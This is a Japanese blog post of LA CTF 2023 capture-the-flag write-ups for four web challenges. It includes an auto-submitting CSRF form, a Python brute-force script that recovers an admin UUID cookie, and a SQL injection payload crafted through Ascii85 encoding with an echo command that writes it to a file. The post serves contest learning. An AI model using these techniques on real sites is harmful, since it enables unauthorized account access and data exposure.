はまやんはまやんはまやん

hamayanhamayan's blog

LA CTF 2023 Writeups

[web] college-tour

Burp Suiteを開いて、サイトを巡回して、ソースコードを眺める。
lactf{number_text}という形でフラグがちりばめられているらしい。

拡張機能のLogger++を入れて抜き出してこよう。
Grep Valuesで適当にlactf\{[^\}]*\}を入れて持ってくる。

lactf{number_text}
lactf{1_lOsT}
lactf{2__!N_b}
lactf{3_03LT3r}
lactf{lOsT_!N_b03LT3r}
lactf{1_j03_4}
lactf{2_nd_j0}
lactf{4_n3_bR}
lactf{6_AY_hi}
lactf{5_U1n_s}
lactf{3_S3phI}

1,2,3が複数あるが、とりあえず後半に固まっている1~6の文字部分をくっつけて
送ると正答。

[web] metaverse

AdminBotが与えられているのでXSS方面で探していていたが…違った。
あと、見た目に反して異様にsolve数が多かったが、
これはtest:testで入ると誰かがフラグを獲得していたからとみられる…

accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

重要なのはadminのdisplayNameにflagが与えられているので、これを表示させたい。
displayNameが使われている所を探すと、

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

のように、友達登録されている人のdisplayNameは見られるらしい。
なので、adminに対して自分を友達登録させればいい。
ここまで来るとXSSというより、CSRFだったんだなという感じになる。
CSRF対策も特にされてないので、POST /friendを踏ませればいい。

<form id="friend" method="post" action="https://metaverse.lac.tf/friend">
    <input type="text" name="username" value="fjsadkfjsidji235jire">
    <input type="submit" value="Submit">
</form>
<script>
    friend.submit();
</script>

[web] uuid hell

あまりよく理解してないが、UUIDの生成部分を見ると色々カスタム設定されている。

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

試しに同じルールで手元で作ってみる。

267cdf40-aa8a-11ed-aa64-67696e6b6f69
267da290-aa8a-11ed-aa64-67696e6b6f69
267da291-aa8a-11ed-aa64-67696e6b6f69
267da292-aa8a-11ed-aa64-67696e6b6f69
267da293-aa8a-11ed-aa64-67696e6b6f69
267dc9a0-aa8a-11ed-aa64-67696e6b6f69
267dc9a1-aa8a-11ed-aa64-67696e6b6f69
267dc9a2-aa8a-11ed-aa64-67696e6b6f69
267dc9a3-aa8a-11ed-aa64-67696e6b6f69
267df0b0-aa8a-11ed-aa64-67696e6b6f69

短時間で作るとかなり偏りがあるが、かぶることはないみたい。
適当に全探索範囲を限定しながら探索すると、管理者のuuidを特定できた。
以下のようなソルバーを回すと回答が得られる

import requests
import re
import hashlib

URL = 'https://uuid-hell.lac.tf/'
requests.post(URL + 'createadmin')
rawtext = requests.get(URL).text

myid = re.findall(r'You are logged in as ([0-9a-f\-]*)', rawtext)[0]
print(myid)

md5s = re.findall(r'[0-9a-f]{32}', rawtext)
admins = md5s[:50]
users = md5s[50:]

chars = '0123456789abcdef'
for c1 in chars:
    for c2 in chars:
        print('..' + c1 + c2 + '???....')
        for c3 in chars:
            for c4 in chars:
                for c5 in chars:
                    for c6 in chars:
                        for c7 in chars:
                            challenge = myid[:1] + c1 + c2 + c3 + c4 + c5 + c6 + c7 + myid[8:]
                            #print(challenge + ' vs ' + myid)
                            h = hashlib.md5(('admin'+challenge).encode()).hexdigest()
                            if h in admins:
                                print('Found! ->' + challenge)
                                print(requests.get(URL, cookies={'id': challenge}).text)
                                exit(0)


mymd5 = hashlib.md5(myid.encode()).hexdigest()
print(mymd5)
if mymd5 in users:
    print('OK!')

[web] 85_reasons_why

フラグが明確には書いていないが、SQL Injectionできそうな箇所がviews.pyにあった。
入力も普通に外部から渡せそう。

@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
    if 'image-query' not in request.files or request.method == 'GET':
        return render_template('image-search.html', results=[])

    incoming_file = request.files['image-query']
    size = os.fstat(incoming_file.fileno()).st_size
    if size > MAX_IMAGE_SIZE:
        flash("image is too large (50kb max)");
        return redirect(url_for('home'))

    spic = serialize_image(incoming_file.read())

    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception:
        return ("SQL error encountered", 500)
...

入力はserialize_imageによって変換処理がかかっている。
Ascii85 - Wikipediaというエンコーディングらしい。

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

文字種はかなりあり、print(base64.a85encode(b'\x15\x09\xfb').decode('UTF-8', 'ignore'))とやればシングルクオートも作れる。
なんとなく文字は作れそうなので、後半の変換を回避することを考える。
~ OR 1=1 --がうまくいきそうだが、~はちょうどAscii85にない。
なので、最初の変換を使って\\\\\\' OR 1=1 --とすればいいよさそうだが、変換過程でスペースが消えてしまう。
だが、これはspace2commentで回避可能。
あとは変換でおかしくならないように適当にやると\\\\\\'/**/OR/**/1=1 -- dが最終的な答えになる。

From Base85, To Hex - CyberChefTo_Hex('%5C%5Cx',0)&input=XFxcXFxcJy8qKi9PUi8qKi8xPTEgLS0gZA)
このようにpayloadをつくる。

echo -en "\xb9\xc2\x0a\x5f\xb7\xcc\x5c\x7d\x2d\x43\xbb\xdc\x1c\x85\xa8\x1b\x25\xce" > payload.bin
こうやってバイナリにして、POST /image-searchに送り付けると、
\\\\\\'/**/OR/**/1=1--cとなって、条件を恒真にできる。
するとフラグが入ったポストが現れる。